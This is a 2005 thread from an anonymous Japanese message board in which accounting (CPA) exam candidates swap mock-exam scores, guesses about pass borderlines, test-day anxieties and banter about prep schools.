847 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 11:10:37 ID:???
某地方会場は机の幅奥行きも申し分ないほど広く、机自体もきれいでした。
いすも大学にありがちな長いすや後ろの机に固定されているものでなく、
かといってパイプ型の折りたたみいすでもないなんていうか座りごこちの
きわめてグッドないすでした。今年は本命のためその地方会場に申し込みました。
2年前早稲田で論文受けたときは最悪だったよ。自分は環境に左右されやすいので
地方にしました。短答の日も少し冷房はいってたよ。昨年の早稲田や近大は
灼熱地獄のようでしたが、少し寒いくらいでした。送風でよかったかもな。

848 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 11:35:53 ID:???
去年の近大はまさに地獄

849 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 12:18:58 ID:???
後27日もある。

850 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 12:53:32 ID:???
財表の短答まとめで重要実務指針一覧みたいなの配ってくれないかなー。
説明くらいはしてくれるよね?

851 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 13:27:21 ID:cx5CdCAg
>>845
ア × 小商人は対象外
イ ○
ウ × 支配人は本店・支店それぞれでかまわない
エ × 推定される
オ × 何であろうと、個人商人は「会社」を商号に使えない

852 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 14:12:18 ID:???
>>850
減損と一株基準の逐条解説だったらどうする


853 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 14:33:26 ID:???
全答練の結果って郵送で来るのでつか?

854 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 15:06:14 ID:???
>>843
戻しいれなんぞ計算せずに案1の貸し引きに利息20000足しただけの俺よりはましonz

855 :845:2005/05/02(月) 15:37:02 ID:???
正解は×○×××です。

856 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 16:35:11 ID:???
853
16日はっそうらしい

857 :843:2005/05/02(月) 19:55:04 ID:OyWem9pL
854
俺のミスは入門1じゃない?しかも足し忘れなら構わないけど、処理自体に気づいてないんだから…

858 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 21:16:14 ID:OyWem9pL
明日ってTAC東京本校開いてますか?

859 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 21:52:06 ID:???
去年本番40取れたのに、全答連33だった。どうしよ・・・。

860 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 22:00:56 ID:???
去年本番は33だったが昨日の全答40だった
俺よりはいいんじゃないか・・・?

861 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 22:16:28 ID:???
去年本番は23だったが昨日の全答40だった
俺よりはいいんじゃないか・・・?
ま、入門なんで、去年は試しだが

862 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 22:29:59 ID:???
去年試し23で全統33
どっちも中途半端な俺よりはいいんじゃないか?

863 :860:2005/05/02(月) 22:37:46 ID:???
>>861
俺は4回目だ、アホ。
しかも去年このスレ立てたのも俺だ。
全答300番以内で短答落ちだぜ!

864 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 22:45:11 ID:???
>>863
何故・・・短答の方が簡単ではないか。
経済経営が得意とか?
ちなみに、いちおう40
と書いたがもっといい。名前載りそうだから正確な点数は言えない

865 :860:2005/05/02(月) 22:51:17 ID:???
>>864
本試験は魔物がいますよ・・・
俺が実力ないだけかもしれんが。
各予備校の答練で偏らずいい点とれてるなら
ある程度安心していいと思うが

866 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 22:55:50 ID:???
本試験ってのはな。魔物なんだよ。

次がある答練とは違って一回ポッキリなんだよ。
その精神的プレッシャーは想像を絶する。
メンタル面の弱さから本番で実力を出せなかったら全答練1位だろうが下位
と同じなんだよ。

結局は他人との相対的順位じゃなく自分との精神的な戦い。
自己に打ち勝つか、負けるか。克己心が勝敗を決する。


867 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 23:05:47 ID:???
魔物なんていねーし、いたとしても全員に降りかかるものだろ。
必要以上に自分にプレッシャーをかけるのは良くないぞ。

868 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 23:22:59 ID:???
短答はお祭りムード漂ういかにも受験って感じだけど、論文は殺伐としてる
らしい。雰囲気に呑まれるってよ。
予備校で成績上位だったのに不合格って人は精神的に正常な状態で受験でき
なかった場合(緊張とか雰囲気とか)が多いという。

これなら成績優秀者が落ちる不思議も納得できるというもの。


869 :864:2005/05/02(月) 23:43:18 ID:???
成績優秀者が落ちるという成績下位者。
ひがむなバーカ
持って生まれたものが違うんだよ

870 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 23:45:46 ID:???
>>868らしいって受かってねーんじゃねか。
一生短答やってなw

871 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 23:46:08 ID:???
そういう慢心が文字通り「落とし穴」なんだろうね。


872 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 23:48:53 ID:???
>>870
全答練でも名前が載るような人が不合格になるのを常々不思議に思っていたの
で講師やら知り合いにやら縁あるときに聞いてみたところを集約すると868
で書いたようなことだった。
って>>870がキレることではないと思うが…

もしかして成績優秀者?


873 :一般に公正妥当と認められた名無しさん:2005/05/03(火) 00:33:54 ID:???
だからAXLの人はメンタルトレーニングって講座を受けてるんだね

874 :一般に公正妥当と認められた名無しさん:2005/05/03(火) 14:08:10 ID:Cl85muj2
禅と売れんでウンコもらしました

875 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 09:34:13 ID:???
論文式の結果っていつ発表されるんだろう。。。

短答直前に受け取ったら精神衛生上悪影響を及ぼしそうでやだ。


876 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 11:49:45 ID:???
19日受け取り開始じゃないの?

877 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 13:05:06 ID:???
19日か。

原計死亡したから早くトドメ刺して欲しいんだけど…

878 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 14:02:04 ID:Pvkex9oP
原計死亡は何点から?
漏れ5・・・orz

879 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 14:50:15 ID:???
>>878

計算取れない奴は、時間配分と順番を間違えてると思うよ。
上級生なら知らない論点はないわけだし。

880 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 20:45:38 ID:???
>>877本試験でとどめさしてあげるよ

881 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 22:20:04 ID:???
>>878
5!?死んだほうよくね?

882 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 23:39:12 ID:???
別に死ななくてもいいと思われ。


883 :一般に公正妥当と認められた名無しさん:2005/05/04(水) 23:44:14 ID:???
スレの話題が論文からいつのまにか短答にすり替わったことに誰一人として
気づかないのか?


884 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 00:14:57 ID:???
いいんじゃね?全答練は全答練だし。

885 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 01:13:35 ID:???
まだ24日もあるんだから、がんがれ。

886 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 07:35:51 ID:sbrsEBmt
原型は平均点4.7くらいだろうな。
大原直前に匹敵する。

887 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 11:01:12 ID:p/ArC9te

そんなに低い?それじゃ平均で2問くらいしかとれてないってことでしょ?計算苦手で6問とれた俺が天才になっちゃうよ(>_<)

888 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 11:02:32 ID:???
平均4.7問の間違い

889 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 11:53:30 ID:Yg6vd9V/
LECのチャレンジ50が最後の模試だな・・・

890 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 12:07:01 ID:pBhrA4Hh
LECから郵送される気配なし

891 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 12:52:36 ID:???
>>890

全く。
だからLECは信用ならんのだ。

892 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 13:03:58 ID:???
>>890-891
詳しく

893 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 15:30:00 ID:pH75wUN4
原計6問では平均より下だ。覚悟汁。

894 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 15:55:42 ID:rrGqNl9J
ukarannwa



895 :一般に公正妥当と認められた名無しさん:2005/05/05(木) 18:11:26 ID:???
受からん・おぶ・ざ・いやー受賞

896 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 13:55:33 ID:qBaxdXw7
去年の合格者が言ってたけど、やっぱりこの時期になるともう勝敗は
かなりついてるって。ただしそれは模試の点じゃなくて、勉強の状態が
ということらしい。そいつは去年全党連で30点前後だったらしいけど
それまでの当連の問題(理論のみ)を1日ずつでやっつけたらしい。た
だしやついわくそれを可能にするのは相当の準備が必要で、それはもう
上級講義や2月の段階で始めていたらしい。「担当対策は具体が三日、
全体が半年」という台詞が印象的だった。

897 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 14:04:48 ID:???
>>896
おまえに言われんでもわかっとる

898 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 14:58:19 ID:???
最後は運だ、自分は受かると思ってやればいいよ。

899 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 15:29:36 ID:???
>>898
運とか言ってる香具師は一生うからね〜よw

900 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 17:11:11 ID:???
1000

901 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 18:56:19 ID:+zfu/dp0
勉強方法は全て結果論。運もあろう。
ただし、運を引き寄せる人間はこの年に一度のチャンスに対して
例外なくちゃんと準備が出来てる。




902 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 18:59:44 ID:???
まあ頑張ってるようにみえて
なんもやってない変なやつが多いからな
会計士受験生は

903 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 19:30:13 ID:???
運は実力のうち。
勉強が足りないと思ったら、昔やったセンター試験の肢の読み方を思い出せ。
そこそこ勉強してるヤシは択一プロパーのテクニックが生きるはず。
こうなったら、持てる知識を吐き出すこと以外でも点を取る努力をするしかない。

904 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 19:59:02 ID:???
おまえは間違いなく落ちると思う

905 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 20:30:49 ID:???
>>903
公務員の試験じゃねーんだから・・・

906 :903:2005/05/07(土) 21:08:18 ID:???
御声援ありがとう。

いや、オレ自身は答練や模試にも割と上位に名前が載っているから、もちろん油断は禁物だけど
合格者の大部分が通るコースはたどっていると思う。

言いたいのは、勉強が追いついていないヤシが奥の手として使うのはどうか、ということ。

自分の持ってる知識と解答能力でクリアできるに越したことはないけど、もう時間がないわけだから
論文で玉砕するのは分かってても短答に受からんと世間体が気になるという人にオススメしている。

904や905は別にいらないようだからスルーしてくれ。

907 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 21:09:01 ID:???
問題41はわからなかったら「2」にしとけ。問題50は「4」であることが多い。
問題4は「2」が多い。

908 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 21:46:36 ID:???
>>907
そういうのを集めて、模範解答集を作っておくってのはどう?

909 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 21:50:10 ID:???
>>908
おめーがやれよ
めんどくせぇ

910 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 21:54:03 ID:???
最近はコンピューターでアットランダムに選択肢を配分するらしいぞ

911 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 22:02:07 ID:???
>>908
あきらめろ。
短答ごときに受からんほど自分をマネジメントできんやつが
何かにすがったところでみっともない。

912 :一般に公正妥当と認められた名無しさん:2005/05/07(土) 22:53:42 ID:???
人間の特性として、直前になればなるほど逃避行動に走りやすいので注意しよう

913 :一般に公正妥当と認められた名無しさん:2005/05/08(日) 03:04:59 ID:???
おまえらがいくら運よくてもノゲイラには勝てない。
それは短答も一緒。
できる奴には勝てない。
もう勝負はついてるよ。
ラスト一ヶ月が勝負とか言ってる実力なき基地外はさよなら!

914 :一般に公正妥当と認められた名無しさん:2005/05/08(日) 08:27:37 ID:???
ロゲノイアのライフシェーバー。


915 :一般に公正妥当と認められた名無しさん:2005/05/08(日) 21:58:17 ID:???
ラスト短答

916 :一般に公正妥当と認められた名無しさん:2005/05/08(日) 22:00:52 ID:???
チャレンジ50

917 :一般に公正妥当と認められた名無しさん:2005/05/08(日) 22:20:04 ID:???
今年は大殺界・・・

918 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 00:11:42 ID:???
この文明の時代にそういう迷信を信じている香具師がいるとは…w


919 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 10:18:36 ID:???
ある程度想定しているでしょうが、今年は難問オンパレードの年になります。
まず昨年易しかった簿記は今年は間違いなく難化します。構造論点中心の
出題となるでしょうから全ての構造論点を見直しておきましょう。
財表は、昨年同様実務指針からの出題が多いでしょう。ただし、昨年は他の選択肢
から判断できるものが多かったですが今年は実務指針も含めた会計処理の正確な理解を
ためす出題にかわるでしょう。
原計は昨年とほぼ同じで管理会計の分野の比重が大きいでしょう。理論は基準以外に1問でます。
最近注目を浴びている分野と思われます。
監査は監査基準が変更されるため、基準よりは委員会報告書や委員会報告の熟読をしてください。
ぬかりなく準備すれば本番の精神状態を考慮しても9問はとれます。
商法は例年通り会社法8問、総則商行為法から2問でしょう。企業再編分野から2問でるかもしれません。

簿記6財表8原計7監査8商法9の合計38問が合格者平均となる出題となるでしょう。

920 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 10:36:12 ID:???
↑おまえは天気予報か

921 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 10:40:29 ID:???
今年は谷底。一昨年最易、昨年やや難、今年激難、来年(新試験1回目)激易・・・

922 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 10:44:32 ID:cVRIrSbN
>>920
いい突込みだ

923 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 11:14:08 ID:???
今年は雨だ。

924 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 17:51:00 ID:???
カネボウ上場廃止ケテーイ

925 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 18:03:39 ID:ef99h086 ?
難しければボーダー下がるからよ、気にしないでやれよ。

926 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 22:52:00 ID:???
だよな
難しかろうが簡単だろうが、受かる人間は大差無いと思う
簡単だったら多少一年目が有利になるかな?
でもベテも入門生もここまでくるとそんな違いないもんな。


927 :一般に公正妥当と認められた名無しさん:2005/05/10(火) 23:20:48 ID:???
>>926
おまいの1年目の今の時期と俺とじゃ格段の違いがあるんだろけどなw

928 :一般に公正妥当と認められた名無しさん:2005/05/11(水) 18:28:11 ID:???
もうすぐ論文全答練の成績が。短答前のいいプレッシャーになる。

929 :一般に公正妥当と認められた名無しさん:2005/05/11(水) 22:40:16 ID:???
↑返却日っていつだっけ?


930 :一般に公正妥当と認められた名無しさん:2005/05/11(水) 23:42:16 ID:???
俺、前も答えたんだけど・・・19日だと思う


931 :一般に公正妥当と認められた名無しさん:2005/05/11(水) 23:43:45 ID:???
キミか!おおキミか!!
いやぁ〜たびたびスマンね!!!
久しぶりだね。迷惑かけちゃったね。
や〜お恥ずかしい。。。


で、キミ誰?


932 :一般に公正妥当と認められた名無しさん:2005/05/11(水) 23:45:51 ID:???
通りすがりの単なるデブです

933 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 01:30:23 ID:???
ピーターパンめ!

934 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 08:20:15 ID:???
返却は15日の12時からって聞いたけど・・・?

935 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 15:56:34 ID:???
「素敵だね」をカラオケで選んだら
間奏のバイオリンっぽいのが最高に良かったんだけど
サントラにも入ってる?

936 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 15:57:31 ID:???
ごめん誤爆した

937 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 16:56:07 ID:???
>>935
キロロ?

938 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 17:07:41 ID:???
>>935
DQFF板住人と見た

939 :一般に公正妥当と認められた名無しさん:2005/05/12(木) 23:53:55 ID:???
返却15日なのか?
それとも地方でバラバラ?…な訳ないよな

940 :一般に公正妥当と認められた名無しさん:2005/05/14(土) 23:34:22 ID:???
15日って日曜じゃん。
休日にそういう事務は開始しないだろう。


941 :一般に公正妥当と認められた名無しさん:2005/05/16(月) 13:38:22 ID:???
すまね・・・勘違いだったorz
受付で聞いたら地方校でも19日っていわれたよ。

942 :一般に公正妥当と認められた名無しさん:2005/05/16(月) 18:01:41 ID:???
はやく成績が返ってこないかな。
点数はわかってるけど励みにしたい。

943 :一般に公正妥当と認められた名無しさん:2005/05/16(月) 23:42:25 ID:???
全科目平均キープしたら結構上位に食い込めるって伝説はまことかな?
いくらなんでも平均じゃ上位に入るとはとても思えないんだが。。。


944 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 00:15:21 ID:???
短答全答練の返却っていつだけな?

945 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 01:13:53 ID:???
今日発送だっけかな?

946 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 12:38:21 ID:DYOokjwS
短答全答練が今送られてキタ!
平均点が大原Aと同じくらい。ボーダーは30問くらいか。

947 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 12:51:59 ID:???
ボーダーが30?んなわけないだろ。

948 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 13:08:25 ID:???
結局は例年通り35前後だろ
難しいとしてもボーダーは1点下がるかといった程度だろう

949 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 13:25:02 ID:tIgwemcG
受験者数が去年より約5000人減少って、本試験もじゃあ大幅に減少するのか?

950 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 15:29:46 ID:???
B判定で何点くらいですか?

951 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 17:16:16 ID:???
34〜36くらいじゃね?

952 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 17:53:54 ID:???
それだったら、1問たりなぁぁぁぁい

953 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 18:16:03 ID:???
一番のやつ48問てすごくね?

954 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 18:51:45 ID:???
あの日電卓忘れて悲惨だったな。
使い慣れてないとあそこまでやりづらいとは。
34の私はCっぽいですね。

955 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 19:42:21 ID:???
48も取れれば今更短答対策なんかいらないね。
もう既に論文の答案構成をいろいろと考えてるんだろうな。

956 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 19:45:42 ID:???
エー判定ってよーするにあれが本試験なら合格ってこと?
まだ通知きてないからわかんないんだよね

957 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 19:55:32 ID:N8AM31hi
もう頭打ちだろう。
去年も上がる上がるっていって結局35。
>>951の言うとーりだな。



958 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 20:21:09 ID:i/ZJwhZt
何の全答練なのよ?

959 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 20:35:06 ID:???
ハァハァ・・・
ハァハァ・・・
ハァハァ・・・

しのぶタソ
のりこセンセー
やよいおねえたま

ハァハァ・・・
ハァハァ・・・
ハァハァ・・・

960 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 20:37:19 ID:???
>>959
久しぶりだ・・・

961 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:05:04 ID:DYOokjwS
A 36〜
B 34〜35
C  33
D 30〜32
E   〜29

962 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:06:01 ID:???
これまじ?直前に比べてえらくレベル下がったな。
直前だと36は無いとBなかったのに。

963 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:18:12 ID:???
おいおい

本当に去年は10000人もうけたのかよ

964 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:26:39 ID:???
>>963
俺もおもた。

965 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:30:56 ID:???
>>963
受験者ではなく、申込者だ。
資料だけもらえばいいっていうやつもいるからな

966 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:32:51 ID:7T3SoA7q
2000以内は何点から??

967 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:35:18 ID:???
>>966
なんで2000以内なんだ?
20l以上の間違いか??

968 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:36:41 ID:7T3SoA7q
いや 2000位以内に入った人の短答合格率70パーセントらしいから TACにいわせると

969 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 22:43:42 ID:???
じゃあ去年の合格者全員じゃねえかw

970 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 23:05:28 ID:???
短答だけだろw

971 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 23:19:41 ID:DYOokjwS
>>966
32で2000位をちょっとこえたくらいだ。

972 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 23:24:12 ID:???
ためし受験のけて全受験生12000人中3000位以内。つまり上位25%に
入ればいいわけだから、4800人(?)×25%=1200位以内に入ってれば
合格可能性は十分あるわけやな

973 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 23:25:08 ID:???
しまった。5800人×25%=1450位以内の間違い

974 :一般に公正妥当と認められた名無しさん:2005/05/17(火) 23:37:23 ID:???
えらそうにしてる2chねら〜は結局成績優秀者なしか?w

975 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 10:45:11 ID:???
↑お前は偉そうにしてる2ch代表だけどなWお前みたいな奴が短答オチて会計士は意味無いとかほざくんだよなW

976 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 12:40:13 ID:???
今返却されたけど、案外平均低いね。ボーダーは34くらいかな。
本試験も全トウレンくらいか、簡単でもこないだのLECくらいかな。

977 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 16:38:28 ID:???
33でCですた
簿記E…onz

978 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 17:51:14 ID:???
こないだのLECの方が全答練より難しくないか?

979 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 17:53:20 ID:???
タック答練やアクセスから結構出てたからタック生はもう少し厳しく考えてください。

980 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 18:17:33 ID:???
油断は禁物。今年は最終合格が至上命題。
最後まで諦めずに頑張りましょう。

981 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 18:31:03 ID:???
>>979
俺アクセル生でTAC短刀は全て受けたんだけど、そういうもんなんだ。
原価計算や簿記でもトウレンから出てるの?それを考えるともう少し実質平均は低いのかもね。

982 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 19:03:05 ID:???
>>979
犬原モナー

983 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 19:08:03 ID:???
え、犬原の公開模試に既出なんかあった?
肢別かな

984 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 19:08:11 ID:???
LECは理論が簡単だったからな…

985 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 19:11:18 ID:???
明日は論文の成績返却?
明後日にしよー

986 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 19:25:36 ID:???
もう返ってきた。
お声がかかるのって上位何位以内だっけ?

987 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 20:53:10 ID:IsQR5VSf
論文式3千何百人中700前半ってどんなもんなんでしょ?
1年目で全答練も初受験なのでよく分からないんですが。

988 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 21:02:29 ID:jdNTAuba
おかしいよこれ。ぜんとうれんうけてる=のこってるやつらなのにボーダー
の20%ラインが35だよ。かなり低いよな・・・。全受験者で全党よりレベルがさが
ったとしてこれが本試験だったらボーダーが33〜34になるよな・・・。
ってことはよ去年より相対的に簡単になってるってことじゃない?


989 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:28:52 ID:???
>>988
そうそう。
今年はもしかしてレベル低い!?

990 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:36:01 ID:???
全答練は間違いなく去年の短答本試験より簡単だった。
本試験は緊張から大失敗する香具師も多い。
なのにこのボーダー。
笑えるな。お前らいったいなにやってんだ?w
特にTAC生なさけなすぎ

991 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:39:43 ID:???
要は受かりゃいいんですよ。
ビリで受かってもトップで受かっても同じ合格者。


992 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:40:24 ID:???
人を否定することに生きがいを感じるサル

993 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:41:06 ID:???
ビリ合格ってまぐれ合格だろ?
普通に考えれば100%合格できる実力を本試験までにつけとくべき。
そういう意味で、全答練40なかった香具師は逝ってよし

994 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:42:21 ID:???
1000

995 :シャー・アズナブル:2005/05/18(水) 22:46:43 ID:???
1000

996 :シャー・アズナブル:2005/05/18(水) 22:47:24 ID:???
1000

997 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:47:49 ID:???
1000

998 :シャー・アズナブル:2005/05/18(水) 22:48:01 ID:???
1000

999 :一般に公正妥当と認められた名無しさん:2005/05/18(水) 22:48:18 ID:???
1おおお

1000 :シャー・アズナブル:2005/05/18(水) 22:48:29 ID:???
1000

1001 :1001:Over 1000 Thread


−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは1000を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験  ┃
┃ 第774号 モナー.  .┃
┃ ┌──────┐ ┃
┃ │   ∩_∩   | ┃     会計全般試験@2ch掲示板
┃ │  ( ´∀` )  | ┃     http://school4.2ch.net/exam/ 
┃ │   (     . ). | ┃
┃ └──────┘ ┃
┗━━━━━━━━━┛



192 KB
>>1000>>1000>>1000>>1000>>1000>>1000>>1000>>1000★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)